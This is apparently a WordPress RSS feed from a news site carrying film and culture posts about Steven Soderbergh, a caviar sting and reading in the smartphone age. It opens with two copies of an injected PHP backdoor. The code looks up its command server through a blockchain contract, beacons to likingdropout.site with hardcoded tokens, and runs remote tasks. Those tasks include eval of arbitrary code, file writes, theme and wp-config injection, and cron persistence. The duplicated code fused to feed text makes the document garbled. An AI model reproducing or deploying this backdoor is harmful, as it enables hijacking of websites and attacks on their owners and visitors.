// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Soderbergh – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 06 Feb 2020 18:45:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Soderbergh – Brief News https://briefnews.eu 32 32 Recommended Reading: Reading While Distracted, Caviar Cons, and Steven Soderbergh https://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/ https://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/#respond Fri, 15 Feb 2019 18:11:16 +0000 http://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, a candid talk with an Oscar-winning filmmaker, thoughtful essays on acknowledging privilege in wealth and how to read in 2019, and the fascinating story of an international caviar ring.

David Gauvey Herbert on the caviar con.

We love nothing more than a story of crime where you least expect it, and over at Longreads, Herbert has a doozy: the story of “the long-running war between caviar-mad Russians, local fishermen, and the feds” for a caviar-bearing in a small town in the Ozarks. And then, in a surprising twist, it turns out the big story wasn’t what it appeared to be at all:

In Warsaw, Baravik and his three friends rented a cabin, bought fishing licenses at Walmart, and hit the Roadhouse, which by now was brimming with snaggers who paid $ 8 a day for the privilege of jostling with one another for position on the small dock.

Money was changing hands all over Warsaw. Petr Babenko drove his white Mercedes van around town buying up pregnant females. Another man, Fedor Pakhnyuk, openly bragged that he had sold $ 15,000 worth of caviar in 2011. Now he was en route to buying 36 quarts of paddlefish eggs — with a retail value in the thousands of dollars. He also ran a ramshackle processing station behind his motel room. Caviar madness had taken hold.

None of these men knew that the Roadhouse dockworker that sold day passes had a hidden camera over his shoulder. Or that he was keeping meticulous records of their personal information for future arrest warrants. Or that Gary Hamilton, the friendly middle-aged man running the dock who slept in the camper 15 yards up the hill was in fact Gregg Hitchings, the undercover wizard of the Missouri Department of Conservation.

Mairead Small Staid on reading in the smartphone age.

In this thoughtful, almost mournful essay for the Paris Review, Staid marks the 25th anniversary of Sven Birkerts’ The Gutenberg Elegies: The Fate of Reading in an Electronic Age by noting not just what that volume got right (basically everything) but how to course-correct – the small steps one can take, as it is so elegantly put here, to reorient oneself to read vertically rather than horizontally:

And perhaps the greatest danger posed to literature is not any newfangled technology or whiz-bang rearrangement of our synapses, but plain old human greed in its latest, greatest iteration: an online retailer incorporated in the same year The Gutenberg Elegies was published. In the last twenty-five years, Amazon has gorged on late capitalism’s values of ease and cheapness, threatening to monopolize not only the book world, but the world-world. In the face of such an insidious, omnivorous menace—not merely the tech giant, but the culture that created and sustains it—I find it difficult to disentangle my own fear about the future of books from my fear about the futures of small-town economies, of American democracy, of the earth and its rising seas.

“Ten, fifteen years from now the world will be nothing like what we remember, nothing much like what we experience now,” Birkerts wrote. “We will be swimming in impulses and data—the microchip will make us offers that will be very hard to refuse.” Indeed, few of us have refused them. As each new technology, from smartphones to voice-activated home assistants, becomes normalized faster and faster, our ability to refuse it lessens. The choice presented in The Gutenberg Elegies, between embrace and skepticism, hardly seems like a choice anymore: the new generation is born swaddled in the digital world’s many arms.

Jen Doll on the myth and tyranny of the “self-made” success story.

“Why does it feel like everyone has more money than you?” asks the headline of Doll’s latest, for Harper’s Bazaar, and it’s a fine question – particularly for those who live in expensive cities and find themselves struggling to scratch together enough cash to cover the basics. The answer, of course, is the outsized role that privilege and wealth plays in our society, but Doll doesn’t just stop there; she eloquently interrogates the issues of honesty, disclosure, and shaming that are packed into those conversations (on the rare occasions when they actually occur):

Ross Levine and Yona Rubenstein, economists at University of California, Berkeley, and The London School of Economics, wrote a paper about the shared traits of entrepreneurs in 2013. Guess what? Most were white men who were highly educated, i.e., from a certain class of privilege. Levine told Quartz, “If one does not have money in the form of a family with money, the chances of becoming an entrepreneur drop quite a bit.” (In their working paper, they explain how a “$ 100,000 increase in family income is associated with a more than 50 percent increase in the odds of becoming incorporated self-employed.” Further, according to Quartz, “the average cost to launch a startup is around $ 30,000,” and “more than 80 percent of funding for new businesses comes from personal savings and friends and family.”)

This flies in the face of the idealized rags-to-riches American success story, that it’s not only possible to pull yourself up by your bootstraps, it’s also the most honorable and worthy storyline there is. Which is why disclosing the truth about how you—or who—really funded your first business, home, or even something as simple as your first car is so important. Not sharing the whole truth can cause anxiety among those who don’t have such resources; beyond that, misplaced expectations about success and achievement can lead to disappointment and even depression. And while there’s nothing wrong with getting help from your parents, keeping it under wraps takes away from the even harder-won successes of those who truly came from nothing. “Financial anxiety is the biggest crisis in America,” says Bea Arthur, a therapist and entrepreneur who just launched her third company, The Difference, Amazon’s very first Alexa skill for therapy. Arthur’s first business was started, she says, with a check written by her boyfriend at the time. “And that was not the last check,” she says. “I’m a really hard worker … but none of that could have been paid [for] if I didn’t have a rich old white boyfriend. It doesn’t just take grit.”

David Sims interviews Steven Soderbergh.

One of the best things about Oscar winner Steven Soderbergh – beyond his continuing insistence on making great, smart movies that play with form and function – is his cheerful willingness to talk openly, and at length, about the ins and outs of the business of filmmaking. And he does that in this terrific talk with Sims at The Atlantic, in which he dives into the making of his new film High Flying Bird, the current strangeness surrounding the Oscars, his “crackpot theories” on why the moviegoing calendar is the way it is, and why theatrical exhibition has to be more nimble:

Sims: You tried [a simultaneous in-theaters and home release] with Bubble in 2005, back before anyone thought that was a thing you could do. You tried it with The Girlfriend Experience in 2009. Were you just inventing the wheel before there was a car to put it on? What’s changed in the past 15 years?

Soderbergh: Well, I ran into the problem that all platforms are having, which is that the big chains don’t want to engage with this. I know [the National Association of Theatre Owners president,] John Fithian well, and have had a lot of interaction with NATO, and I am sympathetic to this issue. What I don’t understand is why everyone in this business thinks there is one template that is gonna be the unified field theory of “windowing” [or how long a movie screens in theaters]. The minute that I knew, which is usually around Friday at noon, that Logan Lucky wasn’t going to work and that Unsane was definitely not gonna work—as soon as that happens, the studio should let me drop the movie on a platform the next week. There should be a mechanism for when something dies at the box office like that.

Sims: A backup option of, You know what, if it doesn’t hit this number on opening weekend, then release it online.

Soderbergh: I think in abject failures, they should let you do whatever the hell you want. If Unsane drops and doesn’t perform, who’s harmed exactly by me 10 days later putting this thing on a platform? You can’t prove to me that that’s hurting your business.

]]> https://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/feed/ 0 Steven Soderbergh Will Shoot a Panama Papers Movie Called ‘The Laundromat’ Next https://briefnews.eu/steven-soderbergh-will-shoot-a-panama-papers-movie-called-the-laundromat-next/ https://briefnews.eu/steven-soderbergh-will-shoot-a-panama-papers-movie-called-the-laundromat-next/#respond Fri, 13 Apr 2018 04:47:57 +0000 http://briefnews.eu/steven-soderbergh-will-shoot-a-panama-papers-movie-called-the-laundromat-next/ Panama Papers movie

Steven Soderbergh is busier than ever. Within just the past eight months, the director has released an experimental app tied to an HBO miniseries (Mosaic), two feature films (Logan Lucky and Unsane), and he reportedly has another one called High Flying Bird that’s almost finished. But he’s showing no signs of stopping: a new report says the Ocean’s trilogy director will next step behind the camera to direct a Panama Papers movie called The Laundromat. Read more about the project below.

The Playlist has a detailed report about Soderbergh’s latest projects, including the fact that his sports drama High Flying Bird, which shot only two months ago, is basically already finished. That movie has quite the pedigree behind it: it’s written by Tarell Alvin McCraney (Moonlight) and stars André Holland, Zazie Beetz, and Kyle MacLachlan. But it sounds like it could be a while before we see that one hit theaters. In the meantime, Soderbergh is staying busy by diving right in to his next project, a Panama Papers movie from writer Scott Z. Burns (Contagion, Side Effects) called The Laundromat.

The Panama Papers refers to the largest leak of corporate data in history, when 11.5 million documents from Panamanian law firm Mossack Fonesca were revealed back in 2015 and detailed the various legal and illegal ways powerful people and corporations hide their money in offshore accounts. The film will be based on Secrecy World, a book by Pulitzer Prize-winning journalist Jake Bernstein, and examine the web of money laundering and other criminal activity revealed in the data leak.

Soderbergh has been attached to this film for a little while now, but this is the first confirmation we have that he’ll be directing it himself instead of just producing. Also worth noting: he shot Unsane on an iPhone, and he previously indicated that it would take “a pretty good reason” for him to return to using traditional cameras again. Well, apparently he’s found a good reason: The Playlist says that “because of the epic scale of the movie, which will shoot in six countries, he’ll be back using the latest RED Cameras.”

The report proclaims that The Laundromat is “gearing up for a fall shoot” and promises that “a powerhouse cast is waiting in the wings”, though exactly which actors will be involved remains a mystery for now.

As if all this wasn’t enough to keep Soderbergh occupied, he’s also reuniting with Lem Dobbs (Haywire, The Limey) for a six-part TV miniseries called Emin Pasha. Head over to The Playlist to read more about that show, and we’ll keep you posted with more info about The Laundromat as soon as we can.

The post Steven Soderbergh Will Shoot a Panama Papers Movie Called ‘The Laundromat’ Next appeared first on /Film.

